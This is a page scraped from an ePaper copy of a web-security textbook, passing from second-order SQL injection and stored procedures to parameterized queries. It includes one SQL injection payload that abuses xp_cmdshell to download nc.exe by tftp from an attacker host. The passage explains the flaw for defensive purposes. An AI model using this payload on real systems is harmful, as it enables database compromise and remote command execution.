19.09.2017 Views

the-web-application-hackers-handbook

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Chapter 9 n Attacking Data Stores 339<br />

attacker can break out of <strong>the</strong> data context and begin entering arbitrary<br />

SQL without <strong>the</strong> need to supply a single quotation mark.<br />

n In second-order SQL injection attacks, data that has been safely escaped<br />

when initially inserted into <strong>the</strong> database is subsequently read from <strong>the</strong><br />

database and <strong>the</strong>n passed back to it again. Quotation marks that were<br />

doubled initially return to <strong>the</strong>ir original form when <strong>the</strong> data is reused.<br />

Ano<strong>the</strong>r countermeasure that is often cited is <strong>the</strong> use of stored procedures<br />

for all database access. There is no doubt that custom stored procedures can<br />

provide security and performance benefits. However, <strong>the</strong>y are not guaranteed<br />

to prevent SQL injection vulnerabilities for two reasons:<br />

n As you saw in <strong>the</strong> case of Oracle, a poorly written stored procedure can<br />

contain SQL injection vulnerabilities within its own code. Similar security<br />

issues arise when constructing SQL statements within stored procedures<br />

as arise elsewhere. The fact that a stored procedure is being used does<br />

not prevent flaws from occurring.<br />

n Even if a robust stored procedure is being used, SQL injection vulnerabilities<br />

can arise if it is invoked in an unsafe way using user-supplied input.<br />

For example, suppose that a user registration function is implemented<br />

within a stored procedure, which is invoked as follows:<br />

exec sp_RegisterUser ‘joe’, ‘secret’<br />

This statement may be just as vulnerable as a simple INSERT statement.<br />

For example, an attacker may supply <strong>the</strong> following password:<br />

foo’; exec master..xp_cmdshell ‘tftp wahh-attacker.com GET nc.exe’--<br />

which causes <strong>the</strong> <strong>application</strong> to perform <strong>the</strong> following batch query:<br />

exec sp_RegisterUser ‘joe’, ‘foo’; exec master..xp_cmdshell ‘tftp<br />

wahh-attacker.com GET nc.exe’--’<br />

Therefore, <strong>the</strong> use of <strong>the</strong> stored procedure has achieved nothing.<br />

In fact, in a large and complex <strong>application</strong> that performs thousands of different<br />

SQL statements, many developers regard <strong>the</strong> solution of reimplementing <strong>the</strong>se statements<br />

as stored procedures to be an unjustifiable overhead on development time.<br />

Parameterized Queries<br />

Most databases and <strong>application</strong> development platforms provide APIs for handling<br />

untrusted input in a secure way, which prevents SQL injection vulnerabilities<br />

from arising. In parameterized queries (also known as prepared statements), <strong>the</strong><br />

construction of a SQL statement containing user input is performed in two steps:<br />

1. The <strong>application</strong> specifies <strong>the</strong> query’s structure, leaving placeholders for<br />

each item of user input.<br />

2. The <strong>application</strong> specifies <strong>the</strong> contents of each placeholder.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!